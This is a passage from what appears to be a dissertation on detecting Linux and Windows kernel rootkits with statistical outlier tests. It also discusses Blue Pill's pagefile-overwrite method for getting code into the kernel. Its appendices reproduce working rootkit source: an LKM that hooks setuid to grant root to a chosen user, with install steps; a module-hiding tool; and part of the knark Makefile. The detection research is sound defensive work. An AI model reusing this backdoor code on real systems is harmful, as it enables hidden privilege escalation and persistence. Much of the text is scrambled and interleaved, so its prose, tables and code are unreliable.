kernel object modification (DKOM) [55].  This method is also very similar to the 

methods employed by Linux runtime kernel patching rootkits.   

 

 Microsoft Windows and Linux both have similar mechanisms by way of which 

they may be attacked by rootkits.  While Windows has a system service descriptor table 

(SSDT), Linux has a system call table.  Windows may be subverted using direct kernel 

object modification (DKOM), while Linux may be subverted by runtime kernel patching 

rootkits.  Because of these similarities, it will be shown in the following sections that 

those methods useful in detecting Linux kernel rootkits are also useful and effective in 
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detecting Windows rootkits that use subversion methods similar to those used against 

Linux kernels.   

 

9.2 Definitions 

 The definitions used in the formal model were formally defined in Section 5.1,

and will not be revisited here except to note that the definition of an outlier, disc

 

ordancy 

 

ould be discussed before presenting the experimental results.   

test, and kernel rootkit have not changed.  However, the methods by which Windows 

kernel rootkits and Linux kernel rootkits attack the kernel share several similarities, and

these sh

 Recall that both Windows and Linux Kernel rootkits attack the operating system 

by way of modifying system call memory addresses, and this is accomplished through the 

following mechanisms [14;55]: 

 

System call table modification – This attack changes the addresses of the system calls in 

r 

ifies 

 table, the Windows equivalent of the Linux system call 

table.   

 

System

the system call table to point to similar, but malicious, system calls located much highe

in memory.  Windows kernel rootkits sometimes employ a similar attack, which mod

the system service descriptor

 call table redirection – Modifies the system call handler, changing the add

tem call table to a similar, but malicious system call table much higher in memory.

ppears to be no corresponding attack method employed by Windows kernel 

.   

ress of 

the sys   

There a

rootkits
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System call target modification – Directly modifies the system call instructions (via 

runtime kernel patching), inserting a jump instruction to a location much higher in 

mem r ts 

also so

DKOM

  

5.1.  Th  of the 

model 

 

9.3 Fo

 

summa

 s1 = M1(p1) – System call addresses in uninfected kernel    (9.1) 

2 = M

) 

 

) 

Recall that both s1 and s2 are derived from general knowledge in that they are 

perimentation across mutliple operating system and architecture pairs, 

o y which contains a similar, but malicious, system call.  Windows kernel rootki

metimes employ a similar attack known as direct kernel object modification, or 

.   

The formal model for this approach is the same as the one described in section

erefore, it will not be discussed in detail again here, but the fundamentals

will be briefly revisited.   

rmal Model 

 The fundamentals of the model and approach described it Section 5.1 can now be 

rized as follows: 

s 2(p1) – System call addresses in uninfected kernel’s system call table (9.2) 

s1’ = M1(p2) – System call addresses in infected kernel    (9.3) 

s2’ = M2(p2) – System call addresses in infected kernel’s system call table  (9.4) 

D1 = t(s1) – AD score for system call addresses in uninfected kernel  (9.5) 

D2 = t(s2) – AD score for uninfected kernel’s system call table.   (9.6

D1’ = t(s1’) – AD score for system call addresses in infected kernel.  (9.7)

D2’ = t(s2’) – AD score for infected kernel’s system call table.     (9.8

 

 

obtained from ex
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while s

 to 

n.   

      (9.9) 

’ = s2’ – s2j’          (9.10) 

e kernel rootkit is fully detected – that is, until D1’ <= D1 and D2’ <= D2. (9.13) 

ystem.  In this instance, these observations will be confined to the portion of 

 

n a 

 

1’ and s2’ are obtained from the specific system being investigated.  Also recall 

that if D1’ > D1 or D2’ > D2 then a rootkit has been detected.  Once a rootkit has been 

detected, outliers are removed, one at a time, until the discordancy test returns to close

the uninfected score.  The location of the outliers is constrained by operating system 

mechanics, so that outliers are always on the right side of the distributio

 If s1j is the largest (right most) system call address in the kernel, and s2j is the 

largest (right most) system call address in the system call table,   

s1’ = s1’ – s1j’    

s2

D1’ = t(s1’)          (9.11) 

D2’ = t(s2’)          (9.12) 

And again  

If D1’ > D1 or D2’ > D2 then a rootkit has been detected. 

Until th

 

9.4 Normality of Data 

 Before additional progress may be made with this approach, some observations 

must be made about the distribution of system call addresses within the Windows 

operating s

the Windows operating system known as the system service descriptor table (SSDT),

which corresponds to the Linux system call table.  These observations were made o

test system using the Microsoft Windows 2000 operating system. 
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Table 9.1:  AD-scores for uninfected Windows 2000 SSDT 

3-Parameter Loglogistic 3.120 
   3.120 
tic   3.121 

Normal          3.139 
Lognormal   3.140 
3-Parameter Lognormal 3.147 
Gamma          3.147 
3-Parameter Gamma  3.566 
Largest Extreme Value 8.446 

 
  contains the Anderson-Darling goodness of fit scores for the 

ip r tabl of the indo

bull istributions, consecutively.  

ralize r 

on.  H wever

e other  rega

it the W

rchitecture.   

Distribution   AD-Score 
3-Parameter Weibull  3.029 
Weibull   3.040 
Smallest Extreme Value 3.041 

Logistic
Loglogis

2-Parameter Exponential 61.909 
Exponential   113.727 

 Table 9.1, above,

248 memory addresses located in the system service descr to e  W ws 

2000 test machine.  Note that, unlike those scores observed in Linux kernels, the best 

fitting distributions are the 3-parameter weibull and wei  d

This finding further strenghens the suspicion that it will be necessary to gene , rathe

than eliminate, the necessity for a priori knowledge in rootkit detecti o , note 

that eleven of the fourteen distributions test are within 16% of on an  in rd to 

score.  The normal distribution also receives a very favorable score, indicating the the 

‘assumption of normality’ model may be an effective approach w h indows 

a

 

9.5 Experimental Results. 

 Symantec [55] suggests that the definition of rootkits, at least in a Windows 

environment, has changed and now refers to programs that “use system hooking or 
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modification to hide files, processes, registry keys, and other objects in order to hide 

programs and behaviors.”   

 Under this definition, spy software programs such as Webwatcher [56], which

designed to be used by legitimate authorities interested in monitor

 are 

ing the activities of 

rs.

ilar to the system call table modification attack seen in Linux, to accomplish 

Distribution   AD-Score 
3-Parameter Loglogistic    13.841 

39.308 

Logistic                   90.143 

Gamma                      92.743 

Exponential                111.017 

 

 Recall that the best fitting distribution for the SSDT of an uninfected Windows 

2000 system was the 3-parameter weibull, with an Anderson-Darling goodness of fit 

score of 3.029.   After infection with the WebWatcher monitoring software (essentially a 

Windows rootkit), the goodness of fit score for the 3-parameter weibull distribution 

changes to a remarkable 8454.206, illustrated ebWatcher 

software modifies only three his is a change of 2791.00%, an 

legimate users, qualify as a kind of rootkit.  In fact, WebWatcher uses system hooking to 

hide files, processes, registry keys, and other objects in order to hide programs and 

behaviours (that is, the monitoring of email, online chats, and internet surfing behaviours) 

from legitimate use   WebWatcher uses the system service descriptor table attack, 

which is sim

these tasks.   

Table 9.2:  AD-scores for Windows 2000 SSDT infected with WebWatcher 

3-Parameter Lognormal 
Loglogistic                89.597 

Weibull                    92.625 
Smallest Extreme Value     92.658 

Normal                     92.762 
Lognormal                  92.665 
3-Parameter Gamma          93.765 
Largest Extreme Value      106.659 

2-Parameter Exponential    776.980 
3-Parameter Weibull       8454.206 

above in table 9.2.  The W

 entries in the SSDT.  T
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exceedingly large and unexp e would be trivial to 

observe, for human and comp

Table 9.3:  AD-sco SDT with outliers removed 

Distribution 
3-Pa 2.920 
Weib
Smal
Logistic 
3-Parameter Loglogistic 3.079 
Logl 3.080  
Norm
Logn
3-Pa
Gamm 3.121  
3-Pa 3.512 
Larges
2-Parameter Exponential 61.331 

 

on-

xperimental Results  

Observe that, in Table 9.1, the Anderson-Darling goodness of fit score for the 

This is a very favorable score, even when compared to the 

29.   

fit for 

rootkit detection in this circumstance.  

ected change.  Obviously, such a chang

uter alike.  

res for Windows 2000 S

  AD-Score 
rameter Weibull  
l   ul 2.931 

lest Extreme Value 2.932 
  3.079 

ogistic   
    al 3.114 

ormal   3.115 
rameter Lognormal 3.121  

   a 
rameter Gamma  
t Extreme Value 8.492 

Exponential   112.352 

 

 Table 9.3 shows the Anderson-Darling goodness of fit scores for the Windows

2000 SSDT, after the three outliers have been removed.  Most importantly, the Anders

Darling goodness of fit score for the 3-parameter weibull distribution has returned to 

2.920, within 3.6% of it’s original, uninfected value.  This is eloquent proof of the 

effectiveness of this model, provided that general a priori knowledge is available 

regarding the general statistical properties of wide categories of operating 

system/architecture pairs.   

 

9.6  Further E

 

normal distribution is 3.139.  

best fitting distribution, the 3-parameter weibull distribution, which has a score of 3.0

It is possible, even likely, that the ‘assumption of normality’ model may be a better 
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 Remarkably, the uninfected SSDT in the Windows 2000 test system is distribu

normally enough that the z-s

ted 

cores for the uninfected memory addresses in the SSDT 

   

x 

sses in the SSDT are distributed normally enough to allow a detection 

model cores 

greather than or equal to thre  a kernel rootkit.   

 

9.7  Conclusions 

 The attack methods e otkits and Linux kernel 

rootkits share many similarit

modification, as well as a sy ck (known as the SSDT in 

Windows).   

 Furthermore, experim emory addresses within the 

Windows kernel tend to be m d than in Linux, making 

detection much easier.  Whil cused in the detection of Linux 

kernel rootkits, these method ffective, or at least less 

omplicated, when employed in the detection of Windows kernel rootkits.  Further 

range between 1.80048 and -2.86425.  None of the addresses have z-scores in excess of 

three standard deviations.  This is a perfect situation for the use of a normality based 

detection approach.   

 Infection with the WebWatcher program modifies three entries in the SSDT.

A re-examination of the data, after infection with the WebWatcher software, shows these 

three infected entries in the SSDT now have z-scores in excess of 9!  A more comple

model, similar to the one presented in Section 8.1, is not necessary.  Amazingly, the 

memory addre

based solely on the calculation of z-scores, and flagging those entries with z-s

e as outliers and as such, infected by

mployed by Windows kernel ro

ies.  Both classes of rootkit employ direct kernel 

stem call table modification atta

ental results indicate that the m

uch more normally distribute

e this research was initially fo

s may yet prove to be more e

c
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research into the possibility of using these methods to detect rootkits in a Windows 

environment is both promising and warranted.  Microsoft offers a wide array of opera

systems for use in testing these approaches, including Windows 2000, Windows XP, and 

the newly released Vista.   

 

 

 

 

ting 
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CHAPTER X 

 

 

 Finally, conclusions and the direction of future research into this area will be 

discussed in this final chapter.  Section 10.1 provides the overall conclusions for this 

work.  Sections 10.2 and 10.3 present future research directions, with section 10.2 

presenting a detailed plan for generalizing the A Priori knowledge required for the 

detection of kernel rootkits using the approaches presented here.  This plan includes 

examining an existing rootkit knowledge base, the necessity of creating a new operating 

system knowledge base, determining the significance of kernel compilation options, 

variability across architectures and operating systems, and the required granularity of this 

information.  Section 10.3 examines a new class of threat, virtualized rootkits.  The 

operational details and existing detection options will be discussed for the only known 

virtualized rootkit, Blue Pill, which has been designed for Windows Vista.   

 

10.1 Conclusions 

 Rootkits are, essentially, stealthy malicious software that allows an attacker to use 

an already compromised system to maintain control of that system, attack other systems, 

destroy evidence, and decrease the chances of being detected by system administrators 

[6].  First generation rootkits were discovered “in the wild” since the mid-1990s, 

CONCLUSIONS AND FUTURE RESEARCH DIRECTIONS 
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and have evolved into second, third, and now fourth (virtualized rootkits) generation 

e 

re: 

models.  These new models include new, especially insiduous rootkits that subvert th

operating system/kernel in various ways. 

 Kernel rootkits modify the kernel via three primary mechanisms.  These 

mechanisms a

 

System Call Table Modification. The attacker modifies the addresses stored in the s

call table.  The attacker, having written custom system calls [15] to replace several 

system calls within the kernel, changes the addresses in the system call table to po

the new, malicious custom system calls.   

 

System Call Target Modification

ystem 

int to 

. In this case, the attacker overwrites the legitimate 

targets of the addresses in the system call table with malicious code.  The system call 

table does not need to be changed.  The first few instructions of the system call function 

 overwritten with a jump instruction to the malicious code.  

 Call Table Redirection

is

 

System . In this type of rootkit implementation, the attacker 

ects references to the entire system call table to a new, malicious system call table in 

ethod can pass many currently used detection 

her investigation, it appears that the system call table 

ection attack is simply a special case of the system call target modification attack 

ply modifies the system_call function, modifying the address of 

 call table therein, which handles individual system calls.   

 

redir

a new kernel address location. This m

techniques [14].  Upon furt

redir

[16].  The attacker sim

the system
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 Existing methods of detecting Linux kernel rootkits typically rely on either (a) 

ving system state before infection, and comparing this information post infection, or (b) 

stalling a detection program (such as tripwire) before infection.  These two approaches 

ly on a priori knowledge for detection.  Even so, some Linux based rootkit detection 

roducts offer some limited functionality when employed after infection.   

This research focuses on detecting kernel rootkits with greatly reduced a priori 

nowledge, in the form of general knowledge of the statistical properties of broad classes 

f operating system/architecture pairs.  Additionally, these detection techniques rely on 

more formal, statistically based detection me odologies.   

 Specifically, four different techniques are explored in this work.  First, general 

distribution models were employed to detect kernel rootkits that use the system call table 

modification attack to infect systems.  This m fforts in the field of 

outlier dete  not scale 

ell.  However, the datset in this case is small, and this approach was 100% effective in 

n 

rnel 

his 

 of 

sa

in

re

p

 

k

o

th

odel is based on early e

ction, and suffers from shortcomings – primarily this approach does

w

successfully detecting four different rootkits utilizing the system call table modificatio

attack.   

 Second, a normality based approach was investigated for use in detecting ke

rootkits that infected systems by way of the system call table modification attack.  T

approach was only partially successful, and generates false positives.  The percentage

false positives, however, was only 0.35%.  In order for this approach to be useful in 

practice, a second discordancy test or some other method for dealing with these false 

positives will need to be developed.   
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 Next, the general distribution model was applied to the detection of rootkits that 

infect systems via the system call target modification attack.  The dataset in this instance 

is dramatically larger, including disassembled memory addresses from the entire kernel, 

and not only the system call table.  As expected, this approach did not scale well, and is 

not appropriate for this particular application.  However, a modified version of the 

normality based approach proved to be effective in detecting kernel rootkits that infect 

the kernel via the system call target modification attack.  This approach hinges on the 

discovery that system calls are loaded into memory sequentially, with the higher level 

system calls loaded first, and the lower level system calls loaded later.  Higher level 

systems calls are more likely to be infected by kernel rootkits.  This approach also makes 

use of a second discordancy test.  Each attack location was successfully detected using 

this approach, resulting in 100% or complete detection of this rootkit.   

 Finally, these detection techniques were applied to kernel rootkits which infect the 

Microsoft Windows operating systems.  The Windows equivalent of the system call table, 

the system service descriptor table (SSDT), appears to be almost perfectly normally 

distributed.  Based on this finding, a Windows rootkit that employed the system call table 

modification attack was successfully detected using the general distribution model, as 

location in the kernel was successfully detected, resulting in 100% or complete detection 

of the rootkit.   

 Although these are promising results, these experiments were conducted by a 

single researcher with intimate knowledge of the operating systems, architectures, 

rootkits, and the presence or absence of rootkit infection.  In order to further strengthen 

well as the ‘assumption of normality’ model with good results.  In this case, each attack 

 116



these results, future “blind” experiments should be conducted wherein the researcher is 

deprived of such information.   

 As discussed in Chapter 2, applications exist for the express purpose of detecting 

tantial 

n order to be 

ffective.  In addition to the requirement for substantial a priori knowledge, these 

me value distribution well 

kenrel rootkits.  Some of these include chkrootkit, kstat, rkstat, St. Michael, scprint, 

Tripwire, Komoku, and kern_check  [5;11;18-24;27].  These tools include signature, 

heuristic and hardware based rootkit detectors, and include many similarities.  The 

common similarity between them is that each class of application includes a subs

requirement for a priori knowledge.  The signature based applications require a priori 

knowledge of specific rootkits, and the heuristic and hardware based detectors require 

substantial a priori knowledge of or deployment on a “clean” system i

e

applications fail to provide a formal model for rootkit detection.  The approaches 

presented in this research allow for a reduced requirement for a priori knowledge, and 

also provide a formal model for each approach.   

 

10.2 Generalizing A Priori Knowledge 

 The preceeding sections have shown that there are statistical similarities within 

broad categories of architecture/operating system pairs.  Specifically, the 32-bit Intel 

architecture running both a Linux 2.4 and Linux 2.6 kernel, as well as the SPARC 

architecture running the 2.4.27 kernel all fit the largest extre

enough to facilitate the detection of Linux kernel rootkits. 

 However, these broad categories do have limits.  One clear example is the 32-bit 

Intel Architecture running Windows 2000.  This architecture/operating system pair does 
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not share the same statistical properties as the others.  Clearly, it is possible to reduce the 

burden for a priori knowledge when attempting to detect rootkits, but it will still be 

necessary to have some a priori knowledge about broad classes of architecture/operating 

ystem

 

 

nd 

ilarities, more dissimilar systems such as 

indow  

l 

of 

• Kernel Compilation Options 

• Variability Across Architectures and Operating Systems 

 

s  pairs.   

 Without doubt, in order for the approaches presented in this work to be 

successful, having generalized a priori knowledge about the statistical properties of broad

categories of architecture/operating system pairs is essential.  While similar operating

systems on dissimilar architectures (Linux 2.4.27 running on 32-bit Intel architecture a

SPARC architecture) share striking sim

W s 2000 on a 32-bit Intel architecture do not share these similarities.  This finding

strengthens the belief that systems will fit well into broad categories of similarity.   

 In order to further strengthen evidence that operating system/architecture pairs fal

into broad categories in regard to the distribution of underlying system call addresses, it 

may be prudent to compile, through experimentation or observation, a database of 

operating system properties.  Such a database will facilitate the effective categorization 

operating system/architecture pairs.  Furthermore, such a database may allow the 

identification of new factors in what currently appears to be univariate (or bivariate at 

best) data.  These factors may include the following: 

 

 

 

 Based on existing results, differences at the operating system level seem to 

influence the underlying distribution of system call addresses much more strongly than 
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differences in architecture.  The influence of kernel compilation options on the 

underlying distribution of system call addresses needs to be carefuly investigated in the 

future.   

 

10.3  Virtualized Rootkits:  An Emerging Threat 

 Blue pill

 

 is a controversial rootkit, based on virtualization, that attacks Microsoft’s 

 

ell.  

irtualization technology, Blue Pill is able to trap a 

ll is 

or 

isite 

 the 

Vista operating system.  Blue Pill utilizes AMD Pacific virtualization technology, and

could possibly be modifed to use Intel’s Vanderpool virtualization technology as w

Blue Pill was designed by Joanna Rutkowski, who claims that Blue Pill is “100% 

undetectable” [57].   

 Using AMD’s Pacifica v

running instance of the operating system into a virtual machine, which can then act as a 

hypervisor having complete control of the computer.  Rutkowsky claims that Blue Pi

“100% undetectable” because any detection program could be fooled by the hypervis

[57].   

 AMD has since issued a statement dismissing these claims, and other security 

researchers and journalists also dismiss these claims.  In 2007, a group of researchers 

invited Rutkowsky to test Blue Pill against a rootkit detector at Black Hat 2007, but 

Rutkowsky declined to participate unless given $384,000.00 in funding as a prerequ

for entering the competition.  The name Blue Pill is a reference to the blue pill from

popular film trilogy, The Matrix [57].   
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 Currently, Blue Pill is the only rootkit based upon virtualization, and is only a 

indows Vista.  No other virtualization based 

 

d even the system 

dmini

CDEdit (reboot required, may not be available in later versions) 

ich in 

rnel 

proof of concept for use with Microsoft W

rootkits are known, and none have been observed “in the wild”.   

 

10.3.1  Operational Details 

 In Microsoft Windows Vista, all kernel mode drivers must be signed.  Vista only

allows the loading of signed drivers into kernel memory, an

a strator may not load unsigned code into kernel memory.  Obviously, this 

countermeasure is intended to protect kernel memory from malware.  This protection 

may be deactivated by the following mechanisms [58]: 

• Attaching a kernel debugger (this requires a reboot) 

• Pressing the F8 key during reboot 

• Using B

 However, Vista allows usermode applications raw access to the disk, wh

turn allows these same usermode applications to read and write disk sectors which are 

occupied by the pagefile!  Usermode applications may not modify the contents of the 

pagefile, which may contain the code and data of the paged kernel drivers.  This 

functionality is fully documented in the Windows Vista SDK [58].   

 All that remains is to insure that kernel specific code appears in the pagefile.  By 

allocating enormous amounts of memory, a usermode application can prompt the ke

to page out a substantial amount of kernel memory to the page file.  At this point, some 

unused drivers (kernel memory) are written to the page file.  Blue Pill (or any other 
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application so inclined) may now overwrite the kernel memory present in the pagefile, 

and once the page file is written back into memory, rootkit infection is complete [5

 There are several solutions for this problem, including forbidding raw disk acce

from usermode, encrypting the pagefile, and disabling

8].   

ss 

 kernel memory paging [58].  All of 

ese solutions involve drawbacks and tradeoffs, and Microsoft has yet to implement any 

ossible solution.   

rent.   

PU Discrepancies:  the virtual CPU interfaces of Virtual Machine Monitors such 

as VMWare Player or Microsoft’s Virtual PC violate x86 architecture.   

 difficult to model, and for 

h 

 

n the availability of these resources can betry the presence of a 

inflates others.   

th

p

 

10.3.2  Detecting Blue Pill 

 Note that there exist a wide range of virtualization anomalies that betray a 

virtualized system.  Garfinkel et al. point out that virtual systems are not transpa

A virtual system may be detected by any of the following approaches [59]: 

• C

• Off-chip Discrepancies:  Modern chipsets are

simplicity, the VMWare virtual platform always emulates an i440bx chipset, 

leading to absurd hardware configurations.   

• Resource Discrepancies:  Virtual Machine Monitors share physical resources wit

their guests, including CPU cycles, physical memory, and cache footprint. 

Irregularities i

Virtual Machine Monitor (VMM).   

• Timing Discrepancies:  Device virtualization is a well-known rich source for 

timing anomalies.  While hardware virtualization shrinks some overheads, it 
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 The author of Blue Pill, Joanna Rutkowski, claims that detecting virtualization is

not the

 

 same as detecting Blue Pill.  While Blue Pill uses virtualization, there are surely 

ome in

ast perceived as, an effective detection technique 

r Blu

oaches for detecting 

irtualization.  It seems that detection efforts are very close to full detection of Blue Pill.  

ity” is a remarkable claim, and as such, requires remarkable 

 

 

 

s stances in which virtualization is being used but Blue Pill is not present.  So, 

detecting virtualization is only a good first step in detecting Blue Pill [60].   

 Timing attacks seem to be particularly effective at detecting Blue Pill, since 

Rutkowsky went to the trouble of developing Blue Chicken technology to avoid them.  

When Blue Pill detects a “timing attack”, it unloads itself [60].  This alone is eloquent 

proof that timing attacks are, or are at le

fo e Pill.   

 Indeed, Blue Pill  is new, stealthy, and frightening.  However, Blue Pill always 

uses hardware virtualization, and there are many well known appr

v

Claiming “100% undetectabil

evidence in support of this claim.   
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APPENDIX A 

hapter IV) 

 

# the L
#! /bin/sh 

 
A.2:  Sou
 

# the L
# curre
#! /bin/sh 

 
A.3:  Sou
 

# Linux
#! /bin
gdb /boot/debug/vmlinux-2.6.8  

A.4:  Sou
 
# Program - debugrt6 

# kerne

gdb /bo
 

 
# Program - parsedis.pl 

# a (more) human readable format  

SCRIPTS AND PROGRAMS USED IN ANALYSIS 

(Referenced in C

A.1:  Source code for debug4 

# Program – debug4 
# This program is used for debugging  

inux 2.4.27 kernel statically. 

gdb /boot/debug/vmlinux-2.4.27  

rce code for debugrt4 

# Program – debugrt4 
# This program is used for debugging 

inux 2.4.27 kernel that is 
ntly running. 

gdb /boot/debug/vmlinux-2.4.27 /proc/kcore 

rce code for debug6 

# Program - debug6 
# This program is used for debugging the  

 2.6.8 kenrel statically. 
/sh 

 
rce code for debugrt6 

# This program is used for  
# debugging the Linux 2.6.8  

l that is currently  
# running. 
#! /bin/sh 

ot/debug/vmlinux-2.6.8 /proc/kcore 

A.5:  Source code for parsedis.pl 

# This program is used to parse 
# disassembled system calls into 
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# suitable for use with Minitab. 
 

open(HAN

$line = 1; 

{ 
  chomp; 

  ($cmd, $address) = split; 
  $find1 = index($address, "0x"); 

  if ($f
  { 
  ; 

    { 
      $find2 = $eol; 

 

    $res

    $res
    $len = length($result); 

   $cmd =~ 

      { 
        print "$cmd $result $dec $line\n"; 
      } 
    } 
  } 
  $line = $line + 1; 

 

 
 

 

 
 

#! /usr/bin/perl 
 

DLE, "./dis.out"); 
 
@data = <HANDLE>; 

foreach(@data) 

  ($a, $b) = split(/\:/, $_); 
  $_ = $b; 

  $eol = length($address); 
ind1 > -1) 

  $find2 = index($address, " ", $find1)
    if ($find2 < 0) 

    } 

    $len = $find2 - $find1; 
    $result = substr($address, $find1, $len); 

ult =~ s/\)//; 
    $result =~ s/\,//; 
    $result =~ s/\ //; 

ult =~ s/\$//; 

 
  if ($len == 10 && $result !~ /\%|\(|\)/ && ($cmd =~ /^j/ ||
/^push/)  ) 
    { 
      $dec = hex($result); 
      if ($result !~ /0xffff/) 

} 

close(HANDLE); 
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APPENDIX B 

SOURCE CODE LISTING FOR RKIT 1.01 

(Referenced in Chapter V) 

.1:  Readme.txt 
 
#=-=-=-=-=-=-=
 Isolation bac
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# 
 
Ok, this is an LKM (Loadable Kernel Module) for linux that successfully 

s designed for people who have user status on  
rack root and want to back-door the root  

lly, hackers have been forced to install a setuid  
 add an entry to /etc/passwd.  
 by a vigilant admin. 
d waits for a setuid call. If  

hen your UID is set to 0. 
our UID is set to 0. This is not  

ything is normal until you log in. There are  
trojaned programs no changed entries in  

tc/passwd. 

r UID in the rkit.c  
: #define magik_UID 500 

by typing "id"). Then compile the program with 

ith: insmod -x rkit.o 

 in the package wipemod.c by dalai  

 
B

-=-=-=-=-=-=-=-=-=# 
kdoor verzi0n 1.01 

backdoors a system. This i
system and are able to ca 

account.  Traditiona
root binary or a trojan program or even
These can be (and often are) discovered

nce loaded sits in memory anThis LKM, o
One happens and it has your UID t
This means that when you log in y
Easily discoverable as ever
no SUID binary programs, no 
/e
 
So how do you use this? Simply put you
"#define magik_UID" statement as in
(You can get your UID 
 
gcc -Wall -O2 -c rkit.c -o rkit.o 
 
It can then be installed w
 
I have also included
dalai@insomnia.org which was orginally rele

 rkit from
ased in 2600 fall 
 the module listing  

n be contacted at <tbob@techie.com> 
- http://isolation.s5.com 

 

2000 issue so that you can remove
h reasonz). (for stealt

 
k, the author of this warez caO
The Isolation website is at 
 
TBob <tbob@techie.com>
 
B.2:  Rkit.c 
 
/*  
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 * #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# 
 *  Isolation r00tk1t Verzi0n 1.0  
 * #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# 
 *  
 * Isolation Website is at http://isolation.s5.com 
 * The author of this warez (TBob) can contacted at <tbob@techie.com> 
 * Copyright (C) 2001 Isolation. All rights reserved.  

td.h> 
all.h> 

ring.h> 
ss.h> 

_call_table[]; 

 

vilage elevation courtesy of Isolation...."); 

 now root user!\n"); 

_setuid(uid); 

r00tk1t Verzi0n 1.0\n"); 
table[SYS_setuid]; 

]=hacked_setuid; 

module(void) 

ion production f00lz\n"); 
al_setuid; 

 * 
* Released: 7/3/01  
 * 
/  *

 
#define __KERNEL__ 
#define MODULE 
#define magik_UID 1000 
#include <linux/module.h> 
#include <linux/kernel.h> 
#include <asm/unis
#include <sys/sysc
#include <linux/types.h> 
nclude <linux/dirent.h> #i

#include <linux/st
sm/uacce#include <a

 
extern void* sys
 
int (*real_setuid)(uid_t uid); 
 
int hacked_setuid(uid_t uid)
{ 
   if(uid==magik_UID) 
   { 
    
     

  printk("<1>Pri
 current->uid=0; 

      current->gid=0; 
      
      r

printk("You are
eturn 0; 

   } 
  
  
 real
 return 0; 

} 
int init_module(void) 
{ 
   printk("<1>Isolation 
   real_setuid=sys_call_
   sys_call_table[SYS_setuid
   return 0; 
} 
 
void cleanup_
{ 
   printk("<1>That was an Isolat
   sys_call_table[SYS_setuid]=re
} 
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B.3:  Wipemod.c 

insomnia.org) 
*  
* usage: 'insmod wipemod name=target.o' 
*  
* Notice: The target module must already be loaded, 
* and wipemod will unload itself. Also, because 
* it unloads itself, wipemod cannot restore a module 
* into the list after it has been taken out. 
*  
* This is built for Linux 2.2. 
*  
*          Ignore any annoyin rror messages. 
 */ 
 
#include <linux/k
#include <linux/module.h> 
#include <linux/string.h>
 

define MODULE 

char *) lmod->next->name, name)){ 

 
.*/ 

 
 /*

 * wipemod.c 
* dalai(dalai@ 
 
 
 
 
 
 
 
 
 
 
 g secondary e

ernel.h> 

 

#define __KERNEL__ 
#
 
har *name; c
MODULE_PARM(name, "s"); 
 
int 
it_module() in

{ 
   struct module *lmod; 
    
   if(name == NULL){ 
            printk("<1>usage: 'insmod wipemod name=target.o'\n"); 
            return 1; 
   } 
   while(1){ 
  if(!lmod->next){ 
    printk("<1>Failure. Perhaps the target module isn't loaded?\n"); 
    return 1; 
  } 
 if(!strcmp(( 
     if(lmod->next->ndeps!=0) /*level ndeps*/ 
  lmod->next->ndeps=0; 
            
         lmod->next=lmod->next->next;   

      
         printk("<1>Success.\n");  

           return 1; /*return 1 so it will unload
    }   

  lmod = lmod->next; 
  } 
} 
 
void 
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cleanup_module() 
{ 
   /* This will never be called. */ 
} 
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APPENDIX C 

DE LISTING FOR KNARK 2.4.3 

.1:  Makefile 

 Makefile, part of the knark package 
) Creed @ #hack.se 1999 <creed@sekure.net> 

d in an illegal way, 
nd. 

se damage with a Makefile) 

inter -pipe -fno-
malign-jumps=2 -malign-functions=2 -
nux/modversions.h -

= $(SRCDIR)/author_banner.o 

ootme hidef ered nethide rexec taskhack 
idef 
tmp 

SRCDIR)/knark.c 
) $(CFLAGS) $(MODCFLAGS) -c $(SRCDIR)/knark.c -o 

DEFS) 

hide.c 
 $(CC) $(CFLAGS) $(MODCFLAGS) -Wno-uninitialized -c 

de.c 

 $(SRCDIR)/hidef.o 
S) -o hidef $(OBJS) $(SRCDIR)/hidef.o 

f 

AGS) -o rootme $(OBJS) $(SRCDIR)/rootme.o 

$(SRCDIR)/ered.o 

SOURCE CO

(Referenced in Chapter V) 

 
C
 
#
# (c
#  
# This Makefile may NOT be use

 to cause damage of ANY ki# or
# (drop me a mail if you find a way to cau
# 
# See README for more info 
 
MODDEFS = -D__KERNEL__ -DMODULE -DLINUX 
CFLAGS = -Wall -O2 

FLAGS = -Wstrict-prototypes -fomit-frame-poMODC
strength-reduce -malign-loops=2 -

ude /usr/src/linux/include/liincl
I/usr/src/linux/include 

IR = src SRCD
JS OB

 
all:  knark modhide r
  cp -f hidef unh

 cp -f knark.o / 
 

$(knark:  
 $(CC 

knark.o $(MOD
 
dhide: $(SRCDIR)/modmo

 
$(SRCDIR)/modhi
 
hidef:  $(OBJS)

 $(CC) $(CFLAG 
  strip hide
 

JS) $(SRCDIR)/rootme.o rootme:  $(OB
 $(CC) $(CFL 

 
ered:  $(OBJS) 
  $(CC) $(CFLAGS) -o ered $(OBJS) $(SRCDIR)/ered.o 
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nethide: $(OBJS) $(SRCDIR)/nethide.o 

RCDIR)/rexec.o 

(OBJS) $(SRCDIR)/taskhack.o 
(OBJS) $(SRCDIR)/taskhack.o 

me ered nethide 
IR)/*.o $(SRCDIR)/*~ 

Mkmod 

ll -O2 -Wstrict-prototypes -fomit-frame-pointer -pipe -fno-
align-loops=2 -malign-jumps=2 -malign-functions=2 -
inux/include/linux/modversions.h -

c -o knark.o -D__KERNEL__ -DMODULE 

.3:  O t 

xecve("/bin/ls", ["ls", "-la", "/tmp/"], [/* 42 vars */]) = 0 
name({sys="Linux", node="climate.eps.jhu.edu", ...}) = 0 
rk(0)                                  = 0x8053c08 
pen("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or 
irectory) 
pen("/etc/ld.so.cache", O_RDONLY)      = 3 
stat64(3, {st_mode=S_IFREG|0644, st_size=49641, ...}) = 0 
ld_mmap(NULL, 49641, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000 
lose(3)                                = 0 
pen("/lib/libtermcap.so.2", O_RDONLY)  = 3 
ead(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200\r\0"..., 
024) = 1024 
stat64(3, {st_mode=S_IFREG|0755, st_size=11608, ...}) = 0 
ld_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
, 0) = 0x40023000 
ld_mmap(NULL, 14696, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 
x40024000 
protect(0x40027000, 2408, PROT_NONE)   = 0 
ld_mmap(0x40027000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 
, 0x2000) = 0x40027000 
lose(3)                                = 0 
pen("/lib/librt.so.1", O_RDONLY)       = 3 
